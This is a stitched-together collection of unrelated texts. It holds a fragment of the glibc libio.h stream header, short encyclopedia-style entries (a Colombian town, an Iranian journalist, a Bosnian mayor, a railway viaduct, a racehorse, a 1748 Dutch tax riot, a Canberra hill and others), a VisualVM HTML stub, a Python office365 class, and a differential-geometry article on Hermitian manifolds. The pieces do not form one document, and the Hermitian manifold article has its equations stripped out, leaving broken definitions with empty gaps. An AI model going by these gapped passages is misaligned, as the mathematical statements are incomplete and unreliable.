#define _IO_SHOWBASE 0200
#define _IO_SHOWPOINT 0400
#define _IO_UPPERCASE 01000
#define _IO_SHOWPOS 02000
#define _IO_SCIENTIFIC 04000
#define _IO_FIXED 010000
#define _IO_UNITBUF 020000
#define _IO_STDIO 040000
#define _IO_DONT_CLOSE 0100000
#define _IO_BOOLALPHA 0200000
struct _IO_jump_t; struct _IO_FILE;
/* Handle lock. */
#ifdef _IO_MTSAFE_IO
# if defined __GLIBC__ && __GLIBC__ >= 2
# if __GLIBC_MINOR__ == 0
# include <stdio-lock.h>
# else
# include <bits/stdio-lock.h>
# endif
# else
/*# include <comthread.h>*/
# endif
#else
typedef void _IO_lock_t;
#endif
/* A streammarker remembers a position in a buffer. */
struct _IO_marker {
struct _IO_marker *_next;
struct _IO_FILE *_sbuf;
/* If _pos >= 0
it points to _buf->Gbase()+_pos. FIXME comment */
/* if _pos < 0, it points to _buf->eBptr()+_pos. FIXME comment */
int _pos;
#if 0
void set_streampos(streampos sp) { _spos = sp; }
void set_offset(int offset) { _pos = offset; _spos = (streampos)(-2); }
public:
streammarker(streambuf *sb);
~streammarker();
int saving() { return _spos == -2; }
int delta(streammarker&);
int delta();
#endif
};
/* This is the structure from the libstdc++ codecvt class. */
enum __codecvt_result
{
__codecvt_ok,
__codecvt_partial,
__codecvt_error,
__codecvt_noconv
};
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T || defined(_GLIBCPP_USE_TYPE_WCHAR_T)
/* The order of the elements in the following struct must match the order
of the virtual functions in the libstdc++ codecvt class. */
struct _IO_codecvt
{
void (*__codecvt_destr) (struct _IO_codecvt *);
enum __codecvt_result (*__codecvt_do_out) (struct _IO_codecvt *,
__c_mbstate_t *,
const wchar_t *,
const wchar_t *,
const wchar_t **, char *,
char *, char **);
enum __codecvt_result (*__codecvt_do_unshift) (struct _IO_codecvt *,
__c_mbstate_t *, char *,
char *, char **);
enum __codecvt_result (*__codecvt_do_in) (struct _IO_codecvt *,
__c_mbstate_t *,
const char *, const char *,
const char **, wchar_t *,
wchar_t *, wchar_t **);
int (*__codecvt_do_encoding) (struct _IO_codecvt *);
int (*__codecvt_do_always_noconv) (struct _IO_codecvt *);
int (*__codecvt_do_length) (struct _IO_codecvt *, __c_mbstate_t *,
const char *, const char *, _IO_size_t);
int (*__codecvt_do_max_length) (struct _IO_codecvt *);
_IO_iconv_t __cd_in;
_IO_iconv_t __cd_out;
};
/* Extra data for wide character streams. */
struct _IO_wide_data
{
wchar_t *_IO_read_ptr; /* Current read pointer */
wchar_t *_IO_read_end; /* End of get area. */
wchar_t *_IO_read_base; /* Start of putback+get area. */
wchar_t *_IO_write_base; /* Start of put area. */
wchar_t *_IO_write_ptr; /* Current put pointer. */
wchar_t *_IO_write_end; /* End of put area. */
wchar_t *_IO_buf_base; /* Start of reserve area. */
wchar_t *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */
wchar_t *_IO_backup_base; /* Pointer to first valid character of
backup area */
wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T || defined(_GLIBCPP_USE_TYPE_WCHAR_T)
__c_mbstate_t _IO_state;
__c_mbstate_t _IO_last_state;
#endif
struct _IO_codecvt _codecvt;
wchar_t _shortbuf[1];
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T || defined(_GLIBCPP_USE_TYPE_WCHAR_T)
struct _IO_jump_t *_wide_vtable;
#endif
};
#else /* !(defined _LIBC || defined _GLIBCPP_USE_WCHAR_T) */
/* Because _IO_no_init unconditionally takes a `_IO_wide_data*' as its
last parameter we must still define this type. We intentionally
leave it incomplete to prevent any use of this type when we are not
supporting wide characters. */
struct _IO_wide_data;
#endif /* !(defined _LIBC || defined _GLIBCPP_USE_WCHAR_T) */
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _blksize;
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
struct _IO_FILE_complete
{
struct _IO_FILE _file;
#endif
#if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001
_IO_off64_t _offset;
# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T || defined(_GLIBCPP_USE_TYPE_WCHAR_T)
/* Wide character stream stuff. */
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
# else
void *__pad1;
void *__pad2;
# endif
int _mode;
/* Make sure we don't get into trouble again. */
char _unused2[15 * sizeof (int) - 2 * sizeof (void *)];
#endif
};
#ifndef __cplusplus
typedef struct _IO_FILE _IO_FILE;
#endif
struct _IO_FILE_plus;
extern struct _IO_FILE_plus _IO_2_1_stdin_;
extern struct _IO_FILE_plus _IO_2_1_stdout_;
extern struct _IO_FILE_plus _IO_2_1_stderr_;
#ifndef _LIBC
#define _IO_stdin ((_IO_FILE*)(&_IO_2_1_stdin_))
#define _IO_stdout ((_IO_FILE*)(&_IO_2_1_stdout_))
#define _IO_stderr ((_IO_FILE*)(&_IO_2_1_stderr_))
#else
extern _IO_FILE *_IO_stdin;
extern _IO_FILE *_IO_stdout;
extern _IO_FILE *_IO_stderr;
#endif
/* Functions to do I/O and file management for a stream. */
/* Read NBYTES bytes from COOKIE into a buffer pointed to by BUF.
Return number of bytes read. */
typedef __ssize_t __io_read_fn (void *__cookie, char *__buf, size_t __nbytes);
/* Write N bytes pointed to by BUF to COOKIE. Write all N bytes
unless there is an error. Return number of bytes written, or -1 if
there is an error without writing anything. If the file has been
opened for append (__mode.__append set), then set the file pointer
to the end of the file and then do the write; if not, just write at
the current file pointer. */
typedef __ssize_t __io_write_fn (void *__cookie, __const char *__buf,
size_t __n);
/* Move COOKIE's file position to *POS bytes from the
beginning of the file (if W is SEEK_SET),
the current position (if W is SEEK_CUR),
or the end of the file (if W is SEEK_END).
Set *POS to the new file position.
Returns zero if successful, nonzero if not. */
typedef int __io_seek_fn (void *__cookie, _IO_off64_t *__pos, int __w);
/* Close COOKIE. */
typedef int __io_close_fn (void *__cookie);
#ifdef _GNU_SOURCE
/* User-visible names for the above. */
typedef __io_read_fn cookie_read_function_t;
typedef __io_write_fn cookie_write_function_t;
typedef __io_seek_fn cookie_seek_function_t;
typedef __io_close_fn cookie_close_function_t;
/* The structure with the cookie function pointers. */
typedef struct
{
__io_read_fn *read; /* Read bytes. */
__io_write_fn *write; /* Write bytes. */
__io_seek_fn *seek; /* Seek/tell file position. */
__io_close_fn *close; /* Close file. */
} _IO_cookie_io_functions_t;
typedef _IO_cookie_io_functions_t cookie_io_functions_t;
struct _IO_cookie_file;
/* Initialize one of those. */
extern void _IO_cookie_init (struct _IO_cookie_file *__cfile, int __read_write,
void *__cookie, _IO_cookie_io_functions_t __fns);
#endif
#ifdef __cplusplus
extern "C" {
#endif
extern int __underflow (_IO_FILE *) __THROW;
extern int __uflow (_IO_FILE *) __THROW;
extern int __overflow (_IO_FILE *, int) __THROW;
extern _IO_wint_t __wunderflow (_IO_FILE *) __THROW;
extern _IO_wint_t __wuflow (_IO_FILE *) __THROW;
extern _IO_wint_t __woverflow (_IO_FILE *, _IO_wint_t) __THROW;
#define _IO_getc_unlocked(_fp) \
((_fp)->_IO_read_ptr >= (_fp)->_IO_read_end ? __uflow (_fp) \
: *(unsigned char *) (_fp)->_IO_read_ptr++)
#define _IO_peekc_unlocked(_fp) \
((_fp)->_IO_read_ptr >= (_fp)->_IO_read_end \
&& __underflow (_fp) == EOF ? EOF \
: *(unsigned char *) (_fp)->_IO_read_ptr)
#define _IO_putc_unlocked(_ch, _fp) \
(((_fp)->_IO_write_ptr >= (_fp)->_IO_write_end) \
? __overflow (_fp, (unsigned char) (_ch)) \
: (unsigned char) (*(_fp)->_IO_write_ptr++ = (_ch)))
#define _IO_getwc_unlocked(_fp) \
((_fp)->_wide_data->_IO_read_ptr >= (_fp)->_wide_data->_IO_read_end \
? __wuflow (_fp) : (_IO_wint_t) *(_fp)->_wide_data->_IO_read_ptr++)
#define _IO_putwc_unlocked(_wch, _fp) \
((_fp)->_wide_data->_IO_write_ptr >= (_fp)->_wide_data->_IO_write_end \
? __woverflow (_fp, _wch) \
: (_IO_wint_t) (*(_fp)->_wide_data->_IO_write_ptr++ = (_wch)))
#define _IO_feof_unlocked(__fp) (((__fp)->_flags & _IO_EOF_SEEN) != 0)
#define _IO_ferror_unlocked(__fp) (((__fp)->_flags & _IO_ERR_SEEN) != 0)
extern int _IO_getc (_IO_FILE *__fp) __THROW;
extern int _IO_putc (int __c, _IO_FILE *__fp) __THROW;
extern int _IO_feof (_IO_FILE *__fp) __THROW;
extern int _IO_ferror (_IO_FILE *__fp) __THROW;
extern int _IO_peekc_locked (_IO_FILE *__fp) __THROW;
/* This one is for Emacs. */
#define _IO_PENDING_OUTPUT_COUNT(_fp) \
((_fp)->_IO_write_ptr - (_fp)->_IO_write_base)
extern void _IO_flockfile (_IO_FILE *) __THROW;
extern void _IO_funlockfile (_IO_FILE *) __THROW;
extern int _IO_ftrylockfile (_IO_FILE *) __THROW;
#ifdef _IO_MTSAFE_IO
# define _IO_peekc(_fp) _IO_peekc_locked (_fp)
#else
# define _IO_peekc(_fp) _IO_peekc_unlocked (_fp)
# define _IO_flockfile(_fp) /**/
# define _IO_funlockfile(_fp) /**/
# define _IO_ftrylockfile(_fp) /**/
# define _IO_cleanup_region_start(_fct, _fp) /**/
# define _IO_cleanup_region_end(_Doit) /**/
#endif /* !_IO_MTSAFE_IO */
extern int _IO_vfscanf (_IO_FILE * __restrict, const char * __restrict,
_IO_va_list, int *__restrict) __THROW;
extern int _IO_vfprintf (_IO_FILE *__restrict, const char *__restrict,
_IO_va_list) __THROW;
extern _IO_ssize_t _IO_padn (_IO_FILE *, int, _IO_ssize_t) __THROW;
extern _IO_size_t _IO_sgetn (_IO_FILE *, void *, _IO_size_t) __THROW;
extern _IO_off64_t _IO_seekoff (_IO_FILE *, _IO_off64_t, int, int) __THROW;
extern _IO_off64_t _IO_seekpos (_IO_FILE *, _IO_off64_t, int) __THROW;
extern void _IO_free_backup_area (_IO_FILE *) __THROW;
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T || defined(_GLIBCPP_USE_TYPE_WCHAR_T)
extern _IO_wint_t _IO_getwc (_IO_FILE *__fp) __THROW;
extern _IO_wint_t _IO_putwc (wchar_t __wc, _IO_FILE *__fp) __THROW;
extern int _IO_fwide (_IO_FILE *__fp, int __mode) __THROW;
# if __GNUC__ >= 2
/* A special optimized version of the function above. It optimizes the
case of initializing an unoriented byte stream. */
# define _IO_fwide(__fp, __mode) \
({ int __result = (__mode); \
if (__result < 0) \
{ \
if ((__fp)->_mode == 0) \
/* We know that all we have to do is to set the flag. */ \
(__fp)->_mode = -1; \
__result = (__fp)->_mode; \
} \
else \
__result = _IO_fwide (__fp, __result); \
__result; })
# endif
extern int _IO_vfwscanf (_IO_FILE * __restrict, const wchar_t * __restrict,
_IO_va_list, int *__restrict) __THROW;
extern int _IO_vfwprintf (_IO_FILE *__restrict, const wchar_t *__restrict,
_IO_va_list) __THROW;
extern _IO_ssize_t _IO_wpadn (_IO_FILE *, wint_t, _IO_ssize_t) __THROW;
extern void _IO_free_wbackup_area (_IO_FILE *) __THROW;
#endif
#ifdef __cplusplus
}
#endif
#endif /* _IO_STDIO_H */
``` |
Campoalegre () is a town and municipality in the Huila Department, Colombia.
References
Municipalities of Huila Department |
```html
<!--
DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
This code is free software; you can redistribute it and/or modify it
published by the Free Software Foundation. Oracle designates this
particular file as subject to the "Classpath" exception as provided
by Oracle in the LICENSE file that accompanied this code.
This code is distributed in the hope that it will be useful, but WITHOUT
ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
version 2 for more details (a copy is included in the LICENSE file that
accompanied this code).
2 along with this work; if not, write to the Free Software Foundation,
Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
or visit www.oracle.com if you need additional information or have any
questions.
-->
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
</head>
<body>
Creates a skeleton VisualVM tab.
</body>
</html>
``` |
Roozbeh Mirebrahimi is an Iranian Journalist and blogger born in 1978 in Rasht, Iran.
He started his career by writing for some of Gilan's local newspapers. His professional career as a Journalist started at the beginning of the Iranian Reform Era. During the next years he wrote for several newspapers including Jomhuriyat, Roozna and Etemade Melli, Etemad, Hambastegi, Sharq etc. He worked for those newspapers as reporter or political editor or writer. He has been chief in editor of Iran dar Jahan magazine since 2006.
He also has written many books including Untolds of Revolution, Eslahat Zire Hasht (Interrogating Reform Movement) and Nagofteha (Untolds)
He has lived in New York since fall of 2006 and has been among the faculty of the CUNY Graduate School of Journalism.
Since 2010, he is visiting Scholar at NYU's Arthur L. Carter Journalist Institute".
He was arrested along with other journalists in September and October 2004.
Awards
In 2006, he was one of the Iranian writers that received the Hellman/Hammett International prize from HRW.
Books
Nagofteh haye Enghelab-e 57 (About untold aspects of the Iranian revolution) / banned in Iran and already Printed in Paris
Nagofteh ha " (Study About Iranian culture and society problem with another person / Hasan Naraghi) / Printed in Iran
Eslahat zir-e Hasht (About reformist period in Iran) / Printed in US
Azadi va Digar Hich (About one Iranian intellectual- Ehsan-e Naraghi- and his books ) / finished writing and ready for print in Iran
Nagofteh haye Dolat-e Movaghat ( About the first Prime Minister after Islamic revolution in Iran) / Studying and researching and continue writing
Three conversation ( Mohsen Sazegara, Shirin Ebadi and Amir Mohebian by Roozbeh Mirebrahimi) / Printed in US -2010
Forsate Entekhab (Opportunity to Choose) / Printed in US -2011
References
External links
Shabnameha
http://www.cbsnews.com/stories/2007/10/15/world/main3370100.shtml
http://news.blogs.cnn.com/2010/09/15/held-in-an-iranian-prison-one-mans-story/
http://www.tavaana.org/video-detail.jsp?videoitemid=2071502000341267163542106&clipnum=1
Iranian journalists
People from Rasht
Living people
1978 births
People from Gilan Province
CUNY Graduate School of Journalism faculty |
Šuhret Fazlić (born 17 April 1961) is a Bosnian politician, and served as the mayor of Bihać.
Biography
Fazlić attended schools in his hometown of Bihać, then graduated in political sciences from the University of Sarajevo in 1985. Fazlić also obtained a master's degree in human resources management from the University of Business Engineering and Management (Banja Luka) in 2007, and as a recipient of the Hubert Humphrey Fellowship he attended a 1-year human resources management course at Michigan State University.
He worked for the Bihać company Unatrans from 1985 to 1989, then as director of NIRIRO Krajina Bihać, head of the travel agency Unatrans Bihać, head of the commercial and financial sector of Autokomerc Bihać.
During the Bosnian War, Fazlić was a member of the command of the V Corps of the Army of the Republic of Bosnia and Herzegovina and the Military Police Battalion, in charge among others of the exchange of prisoners of war.
In the late 1990s, he worked as a representative in Bihać of the Sarajevo company Jump, directo of Galaxy Bihać, Im-ex Bihać, head of the Labor Inspectorate of Una-Sana Canton, field agent for the World Bank / FBiH employment project for demobilized combatants (PIU PELRP), head of the OHR Office for USC and Canton 10, advisor to the Mayor of Bihać, advisor to Halil Bajramović's company Rad putevi Bihać, advisor to the Prime Minister of the USC. He also served as director of the FBiH Privatization Agency.
From 1998 to 2000, Fazlić was a member of the Una-Sana Cantonal assembly, then from 2000 to 2002 of the Federal House of Representatives. At the local elections in 2008 and 2012 municipal elections, he was elected municipal councilor in Bihać.
At the 2016 municipal elections, as a candidate of the Civic Alliance (Građanski Savez), Fazlić narrowly won the mayoral seat with 8,933 votes against 8,180 for the SDA/SBB candidate and 5,084 for the SDP candidate. Local businessman Halil Bajramović financed half of his electoral campaign. He was strongly re-elected in 2020 as candidate of the POMAK party.
In the general elections in Bosnia and Herzegovina in 2022, Fazlić was elected as a representative in the Assembly of the Una-Sana Canton.
He is married and has two children.
References
External links
Klix.ba
1961 births
Living people
Politicians from Bihać
Bosniaks of Bosnia and Herzegovina
Bosnia and Herzegovina Muslims
Bosniak politicians |
Chester Burn viaduct is a railway viaduct in Chester-le-Street, County Durham, England. It is an imposing structure, dominating the marketplace and north end of the town. It carries the East Coast Main Line, the main railway from Newcastle to London. Chester-le-Street station on that line is just south of the viaduct. It is a Grade II listed structure.
History
A railway line from Gateshead to Durham through Team Valley was proposed in 1846, and authorised in 1848. The downfall of "Railway King" George Hudson in 1849 led to its postponement, and work was delayed until 1862 when the North Eastern Railway regained the authority to build the Team Valley line, which required the building of the viaduct.
The viaduct was completed in 1868 by Benjamin Carr Lawton, under the control of Thomas Elliot Harrison. The line opened the same year, on 2 March for freight and 1 December for passengers. The viaduct is still in use, carrying the East Coast Main Line.
Architecture
The viaduct consists of 11 semi-elliptical arches, each wide and is high, for a total length of . It is mostly red engineering brick in English bond, with seven rows of header bond around the arches and with stone for the plinths and parapet edge. The stone and bricks are all original, though there has been some resurfacing on the west. Railings and refuges added later are not part of the listed structure. It lies on a north–south axis with a slight curve, passing over Chester Burn.
The viaduct was built to cross Chester Burn (also known as Cong Burn), then a centre of activity with both industrial and residential properties around its banks. In 1955 to establish a new market the area east of the viaduct was cleared and the burn concreted over below the viaduct. More recently a Tesco superstore was built, and its carpark occupies the space beneath the arches today.
References
External links
Grade II listed buildings in County Durham
Railway viaducts in County Durham
Chester-le-Street |
Balmerino (11 November 1972 – 30 May 1996) was a bay Thoroughbred stallion that was foaled at Cambridge in the Waikato region of New Zealand. He later became a champion racehorse with many international successes.
Breeding
Balmerino was by Trictrac (FR), his dam was the unraced, Dulcie, who was by Duccio (ITL). Trictrac (FR), sired seven stakes winners that won 33 stakes races. Before Balmerino was foaled Dulcie had already produced Fulmen, Fileur, Gay Philou, Micheline and Mia Bella, all good gallopers by Le Filou (FR). After her death Dulcie was posthumously awarded the 1975-6 New Zealand "Broodmare of the Year".
Racing career
Balmerino was the champion three-year-old of his year, winning both the New Zealand 2000 Guineas and New Zealand Derby. Those wins and his subsequent success against older horses in both the Air New Zealand Stakes and in races in Australia confirmed that he would be a landslide winner of the Horse of the Year award in New Zealand. He also won the Australian Three Year-Old of the Year award for the 1975-76 season.
Later in his career he travelled to the Northern Hemisphere and performed very well in some of the best races in Europe. He won the Group one (G1) Gran Premio del Jockey Club e Coppa d'Ora in Italy before being relegated to second place, and also ran second in the Prix de l'Arc de Triomphe, Coronation Cup and the Eclipse Stakes.
Balmerino's most notable performance was in the Prix de l'Arc de Triomphe, a race many consider him unlucky not to have won. He was second in a star-studded field to champion racehorse Alleged (Timeform rating 138).
During 1977 Balmerino had 39 starts in New Zealand, Australia, the United States, England, Italy and France for 21 wins, 9 seconds, 1 third and stakes winnings for the equivalent of (AUD)$400,000. He was joint Champion Older Horse in both England and France for the 1977 seasons, and was awarded a Timeform rating of 133 in 1977 and 124 in 1978.
Stud career
He was retired to stud in 1979 and stood with moderate success in New Zealand, where he sired 29 stakes winners of 80 stakes races.
His group one winners were:
Balciano: winner of the 1987 AJC Metropolitan Handicap.
Bounty Hawk: winner of the 1983 Victoria Derby, WATC Western Mail Classic, 1984 LKS Mackinnon Stakes and Underwood Stakes.
Dinky Flyer: winner of AJC Queen Elizabeth Stakes.
Donegal Mist: winner of the 1990 AJC Metropolitan Handicap.
Eastern Classic: winner of the 1990 All Aged Stakes.
Linc The Leopard: winner of the 1988 Perth Cup)
Balmerino died at Cambridge on 30 May 1996. He was inducted into the New Zealand Racing Hall of Fame in 2008.
See also
Thoroughbred racing in New Zealand
References
External links
Balmerino's pedigree and partial racing stats
Youtube video - Balmerino's classic encounter with Alleged in the Arc.
1972 racehorse births
1996 racehorse deaths
New Zealand Racing Hall of Fame horses
Racehorses bred in New Zealand
Racehorses trained in New Zealand
Racehorses trained in the United Kingdom
Thoroughbred family 4-d
New Zealand Thoroughbred sires |
The Tennis Court Oath is a 1962 poetry collection by the American writer John Ashbery. Ashbery lived in Paris when it was published, working as an art critic. The book received few and negative reviews upon its original publication.
See also
1962 in poetry
American literature
References
1962 poetry books
American poetry collections
Poetry by John Ashbery |
Coxy may refer to:
Andrew "Coxy" Cox, a member of The Fauves, an Australian rock band
Geoff Cox (born 1951), Australian musician and media personality
Paul Cox (footballer) (born 1972), English football manager and former player
Sara Cox (born 1974), English broadcaster who played "Nurse Coxy" on the British radio show Sunday Surgery
Hypocorisms
Nicknames |
```python
from typing import Optional
from office365.entity import Entity
from office365.runtime.client_result import ClientResult
from office365.runtime.queries.service_operation import ServiceOperationQuery
from office365.runtime.types.collections import StringCollection
class ApplicationTemplate(Entity):
"""Represents an application in the Azure AD application gallery."""
def instantiate(self, display_name):
"""
Add an instance of an application from the Azure AD application gallery into your directory. You can also use
this API to instantiate non-gallery apps.
Use the following ID for the applicationTemplate object: 8adf8e6e-67b2-4cf2-a259-e3dc5476c621.
:param str display_name: Custom name of the application
"""
return_type = ClientResult(self.context)
payload = {"displayName": display_name}
qry = ServiceOperationQuery(
self, "instantiate", None, payload, None, return_type
)
self.context.add_query(qry)
return return_type
@property
def display_name(self):
# type: () -> Optional[str]
"""The name of the application."""
return self.properties.get("displayName", None)
@property
def categories(self):
"""
The list of categories for the application. Supported values can be: Collaboration, Business Management,
Consumer, Content management, CRM, Data services, Developer services, E-commerce, Education, ERP, Finance,
Health, Human resources, IT infrastructure, Mail, Management, Marketing, Media, Productivity,
Project management, Telecommunications, Tools, Travel, and Web design & hosting.
"""
return self.properties.get("categories", StringCollection())
@property
def supported_provisioning_types(self):
"""The list of provisioning modes supported by this application"""
return self.properties.get("supportedProvisioningTypes", StringCollection())
@property
def supported_single_signon_modes(self):
"""
The list of single sign-on modes supported by this application.
The supported values are oidc, password, saml, and notSupported.
"""
return self.properties.get("supportedSingleSignOnModes", StringCollection())
``` |
Plaza Catedral is a 2021 Panamanian drama film directed by Abner Benaim. It was selected as the Panamanian entry for the Best International Feature Film at the 94th Academy Awards. The film appeared on the Best International Feature Film shortlist in December 2021.
Young actor Fernando Xavier de Casta received the Mezcal Award for Best Actor from the Guadalajara International Film Festival, but was shot to death in Panama before the film was released internationally.
Cast
Manolo Cardona as Diego
Ilse Salas as Alicia
Fernando Xavier De Casta as Chief
Accolades
|-
| align = "center" rowspan = "3" | 2022 || rowspan = "3" | 9th Platino Awards || Best Actress || Ilse Salas || || rowspan = "3" |
|-
| Best Screenplay || Abner Benaim ||
|-
| Best Sound || Carlos García ||
|}
See also
List of submissions to the 94th Academy Awards for Best International Feature Film
List of Panamanian submissions for the Academy Award for Best International Feature Film
References
External links
2021 films
2021 drama films
Panamanian drama films
2020s Spanish-language films |
The pachtersoproer was a Dutch rebellion in the 18th century. The origin of the uprising was to be found in the economic malaise of the 1740s as a result of the Austrian War of Succession. It was the system of commercial tax-collection called pacht that brought serious complaints, combined with deep dissatisfaction at the way in which the regents and the landed gentry exercised their power.
Reasons
The riots began in Friesland (Bergum) and Groningen in the spring of 1748 (March 17 in Groningen and in May). Its immediate cause was perhaps the birth of William V on March 8, 1748. The houses of the landadel (great-men) and the tax-collectors were ransacked, particularly those who had not sufficiently demonstrated their loyalty to the Orangist regime.
In the city of Leeuwarden 72 points for reform were put forward. Frisian skippers brought the news to Amsterdam. On June 17 the Botermarkt, now Rembrandtplein, called together a crowd to offer such a threat that the collectors of the butter tax saw themselves forced out of office several hours earlier than normal to conclude a peace. The riots spread rapidly to Haarlem and Leiden. On June 23 the Stadholder forbade gatherings for plays and fairs.
Amsterdam
In Amsterdam riots fully broke out on Monday June 24 at the Botermarkt. Pavements were broken up and stones were thrown. People ran through the houses of the taxmen, breaking open and looting everything, and throwing crates of money and expensive porcelain from the bridges into the water. 36 houses in total were looted, and three people were killed and wounded.
The riots lasted until Tuesday evening. On Wednesday morning all pacht taxes were suspended for a period of six months. On Friday, June 28, two men and one woman would be hanged from the window of the Waag on the Dam. The onlooking crowd began to move in to be able to watch better, or possibly to try to free the convicted. Suddenly shooting was heard from the direction of Kalverstraat, and panic broke out. Many people were looking for shelter and jumped into the water from the Damrak. Contemporary local chronicler Braatbard suspected around two hundred men either got trampled or drowned.
Sources
This article is based entirely or partially on its equivalent on Dutch Wikipedia.
Brugmans, H. (1972) Geschiedenis van Amsterdam, deel IV. Afgaand getij.
Fuks, L (1960) De Zeven Provinciën in beroering. Hoofdstukken uit een jiddische kroniek 1740-1752 van Abraham Chaim Braatbard
Het dagboek van J. Bicker Raye, bewerkt door F.M. Bijerinck & M.G. de Boer, (1935).
Slot, E. (1990) Vijf gulden eeuwen. Momenten uit 500 jaar gemeentefinanciën
18th century in Amsterdam
1748 in the Dutch Republic
History of Amsterdam |
Tuggeranong Hill is located in Tuggeranong, Canberra. It is sometimes incorrectly referred to as Mount Tuggeranong due to its prominence.
Lanyon Valley is almost completely surrounded by hills and mountains and consequently television transmissions from Black Mountain are affected. To overcome this, there is a broadcast translator on top of Tuggeranong Hill. There is a track to the repeater on top of Tuggeranong Hill for service vehicles that doubles as a fire trail.
Tuggeranong Hill is part of the Canberra Nature Park. A walk to the top of Tuggeranong Hill provides views of the Lanyon Valley and of the rest of southern Canberra.
Tuggeranong Hill stands 855 metres (2800 feet) above sea level.
See also
Tuggeranong (district)
References
Parks in Canberra
Mountains of the Australian Capital Territory |
In mathematics, and more specifically in differential geometry, a Hermitian manifold is the complex analogue of a Riemannian manifold. More precisely, a Hermitian manifold is a complex manifold with a smoothly varying Hermitian inner product on each (holomorphic) tangent space. One can also define a Hermitian manifold as a real manifold with a Riemannian metric that preserves a complex structure.
A complex structure is essentially an almost complex structure with an integrability condition, and this condition yields a unitary structure (U(n) structure) on the manifold. By dropping this condition, we get an almost Hermitian manifold.
On any almost Hermitian manifold, we can introduce a fundamental 2-form (or cosymplectic structure) that depends only on the chosen metric and the almost complex structure. This form is always non-degenerate. With the extra integrability condition that it is closed (i.e., it is a symplectic form), we get an almost Kähler structure. If both the almost complex structure and the fundamental form are integrable, then we have a Kähler structure.
Formal definition
A Hermitian metric on a complex vector bundle E over a smooth manifold M is a smoothly varying positive-definite Hermitian form on each fiber. Such a metric can be viewed as a smooth global section h of the vector bundle such that for every point p in M,
for all , in the fiber Ep and
for all nonzero in Ep.
A Hermitian manifold is a complex manifold with a Hermitian metric on its holomorphic tangent bundle. Likewise, an almost Hermitian manifold is an almost complex manifold with a Hermitian metric on its holomorphic tangent bundle.
On a Hermitian manifold the metric can be written in local holomorphic coordinates (zα) as
where are the components of a positive-definite Hermitian matrix.
Riemannian metric and associated form
A Hermitian metric h on an (almost) complex manifold M defines a Riemannian metric g on the underlying smooth manifold. The metric g is defined to be the real part of h:
The form g is a symmetric bilinear form on TMC, the complexified tangent bundle. Since g is equal to its conjugate it is the complexification of a real form on TM. The symmetry and positive-definiteness of g on TM follow from the corresponding properties of h. In local holomorphic coordinates the metric g can be written
One can also associate to h a complex differential form ω of degree (1,1). The form ω is defined as minus the imaginary part of h:
Again since ω is equal to its conjugate it is the complexification of a real form on TM. The form ω is called variously the associated (1,1) form, the fundamental form, or the Hermitian form. In local holomorphic coordinates ω can be written
It is clear from the coordinate representations that any one of the three forms , , and uniquely determine the other two. The Riemannian metric and associated (1,1) form are related by the almost complex structure as follows
for all complex tangent vectors and . The Hermitian metric can be recovered from and via the identity
All three forms h, g, and ω preserve the almost complex structure . That is,
for all complex tangent vectors and .
A Hermitian structure on an (almost) complex manifold can therefore be specified by either
a Hermitian metric as above,
a Riemannian metric that preserves the almost complex structure , or
a nondegenerate 2-form which preserves and is positive-definite in the sense that for all nonzero real tangent vectors .
Note that many authors call itself the Hermitian metric.
Properties
Every (almost) complex manifold admits a Hermitian metric. This follows directly from the analogous statement for Riemannian metric. Given an arbitrary Riemannian metric g on an almost complex manifold M one can construct a new metric g′ compatible with the almost complex structure J in an obvious manner:
Choosing a Hermitian metric on an almost complex manifold M is equivalent to a choice of U(n)-structure on M; that is, a reduction of the structure group of the frame bundle of M from GL(n, C) to the unitary group U(n). A unitary frame on an almost Hermitian manifold is complex linear frame which is orthonormal with respect to the Hermitian metric. The unitary frame bundle of M is the principal U(n)-bundle of all unitary frames.
Every almost Hermitian manifold M has a canonical volume form which is just the Riemannian volume form determined by g. This form is given in terms of the associated (1,1)-form by
where is the wedge product of with itself times. The volume form is therefore a real (n,n)-form on M. In local holomorphic coordinates the volume form is given by
One can also consider a hermitian metric on a holomorphic vector bundle.
Kähler manifolds
The most important class of Hermitian manifolds are Kähler manifolds. These are Hermitian manifolds for which the Hermitian form is closed:
In this case the form ω is called a Kähler form. A Kähler form is a symplectic form, and so Kähler manifolds are naturally symplectic manifolds.
An almost Hermitian manifold whose associated (1,1)-form is closed is naturally called an almost Kähler manifold. Any symplectic manifold admits a compatible almost complex structure making it into an almost Kähler manifold.
Integrability
A Kähler manifold is an almost Hermitian manifold satisfying an integrability condition. This can be stated in several equivalent ways.
